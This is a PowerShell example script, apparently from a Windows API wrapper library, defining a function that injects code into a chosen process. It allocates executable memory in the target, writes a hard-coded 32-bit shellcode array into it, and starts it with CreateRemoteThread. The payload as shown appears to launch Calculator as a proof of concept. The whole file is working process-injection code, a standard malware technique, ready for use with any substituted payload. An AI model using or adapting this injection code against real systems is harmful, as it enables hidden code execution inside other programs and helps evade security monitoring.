Examples/New-InjectedThread.ps1

function New-InjectedThread
{
    [CmdletBinding(DefaultParameterSetName = 'None')]
    param
    (
        [Parameter(Mandatory = $true, ParameterSetName = 'ByProcess', Position = 0)]
        [System.Diagnostics.Process]
        $Process,

        [Parameter(Mandatory = $true, ParameterSetName = 'ById')]
        [UInt32]
        $Id
    )

    switch($PSCmdlet.ParameterSetName)
    {
        ById
        {
            $Process = Get-Process -Id $Id
        }
        None
        {
           $Process = Get-Process -Id $PID 
        }
    }

    [Byte[]] $Shellcode32 = @(0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x6a,0x01,0x8d,0x85,0xb9,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x00)

    $BaseAddress = VirtualAllocEx -ProcessHandle $Process.Handle -Size 0x1000 -AllocationType 0x3000 -Protect 0x40
    WriteProcessMemory -ProcessHandle $Process.Handle -BaseAddress $BaseAddress -Buffer $Shellcode32 #@(0x4D,0x5A)

    $thread = CreateRemoteThread -ProcessHandle $Process.Handle -StartAddress $BaseAddress
    
    CloseHandle -Handle $thread.Handle

    $obj = New-Object -TypeName psobject
    $obj | Add-Member -MemberType NoteProperty -Name ProcessName -Value $Process.Name
    $obj | Add-Member -MemberType NoteProperty -Name ProcessId -Value $Process.Id
    $obj | Add-Member -MemberType NoteProperty -Name ThreadId -Value $thread.Id
    $obj | Add-Member -MemberType NoteProperty -Name StartAddress -Value $BaseAddress
    Write-Output $obj
}